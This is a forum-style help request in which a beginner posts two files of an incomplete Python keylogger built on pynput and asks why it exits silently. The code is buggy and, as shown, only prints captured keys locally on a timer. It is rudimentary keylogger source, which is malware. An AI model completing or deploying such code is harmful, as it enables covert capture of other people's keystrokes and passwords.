Hey!, im having troubles working a python Keylogger that I am trying to make and I am stuck on a particular bit.
FILE 1
FILE 2
Now when this is ran, the system does not provide any errors and instead just throws up
Process finished with exit code 0
I dont understand what is going wrong and the fact that there is no errors is more confusing, I am using PyCharm with python 3.7
I have tried to run through console nothing happened
Currently trying to get better at Greyhat Python and any help would be appreciated.
FILE 1
Code
import pynput.keyboard
import threading
class KEYLOG:
def __init__(self):
self.log = ""
print("We are in constructor method")
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
self.append_to_log(str(key.char))
except AttributeError:
if key == key.space:
current_key = log + " "
else:
current_key = log + " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
print(self.log)
log = ""
timer = threading.Timer(5, self.report)
timer.start()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()FILE 2
Code
import Logger.py
logger_key = Logger.KEYLOG()
logger_key.start()Now when this is ran, the system does not provide any errors and instead just throws up
Process finished with exit code 0
I dont understand what is going wrong and the fact that there is no errors is more confusing, I am using PyCharm with python 3.7
I have tried to run through console nothing happened
Currently trying to get better at Greyhat Python and any help would be appreciated.

